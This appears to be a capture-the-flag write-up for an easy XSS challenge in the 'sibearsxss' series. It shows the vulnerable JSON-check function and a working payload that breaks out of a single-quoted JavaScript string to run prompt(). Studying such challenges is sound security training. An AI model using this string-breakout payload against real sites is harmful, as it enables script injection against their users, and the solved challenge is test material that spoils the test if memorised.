Medium 3 - JSON Injection XSS
Medium 3 - JSON Injection XSS
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: json_injection_xss, js_string_breakout
Summary
Walkthrough of the CUSTOM Web Medium 3 - JSON Injection XSS. XSS challenge from the sibearsxss series. Input must be valid JSON (validated via JSON.parse), then inserted into a JavaScript string inside single quotes.
Description
XSS challenge from the sibearsxss series. Input must be valid JSON (validated via JSON.parse), then inserted into a JavaScript string inside single quotes.
URL: http://109.233.56.90:11659/xss/medium/3
Analysis
Escape function:
js read-only • copy allowedvar isJSON = function(s) { try { var json = JSON.parse(s); return typeof json !== 'object' ? false : true; } catch(e) { return false; } }; function escape(s) { return s = isJSON(s) ? '<script> var foo = \'' + s + '\'; </script>' : ''; }
Logic breakdown:
isJSON(s)— checks that input parses as JSON and is an object- If valid JSON object, it's inserted into:
var foo = '+ s +'; - If not JSON — returns empty string
Vulnerability: JSON can contain single quotes inside string values. When JSON is inserted into a JS string with single quotes, these quotes close the JS string.
Example:
- Input:
{"a":"'"} - Valid JSON: ✓
- After insertion:
var foo = '{"a":"'"}'; - Single quote from JSON closes the
foostring
Solution
Create valid JSON that contains a single quote to break out of the JS string:
Payload:
json read-only • copy allowed{"a":"';prompt('sibears')//"}
How it works:
JSON.parse('{"a":"\'";prompt(\'sibears\')//"}')— valid JSON ✓typeof json === 'object'— true ✓- After insertion into template:
js read-only • copy allowed
var foo = '{"a":"';prompt('sibears')//"}'; - Breakdown:
var foo = '{"a":"'— string{"a":";— end of statementprompt('sibears')— XSS executes//"}';— commented out
Key Takeaways / Lessons
- Mastering json_injection_xss, js_string_breakout was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Medium 3 - JSON Injection XSS • Difficulty: Easy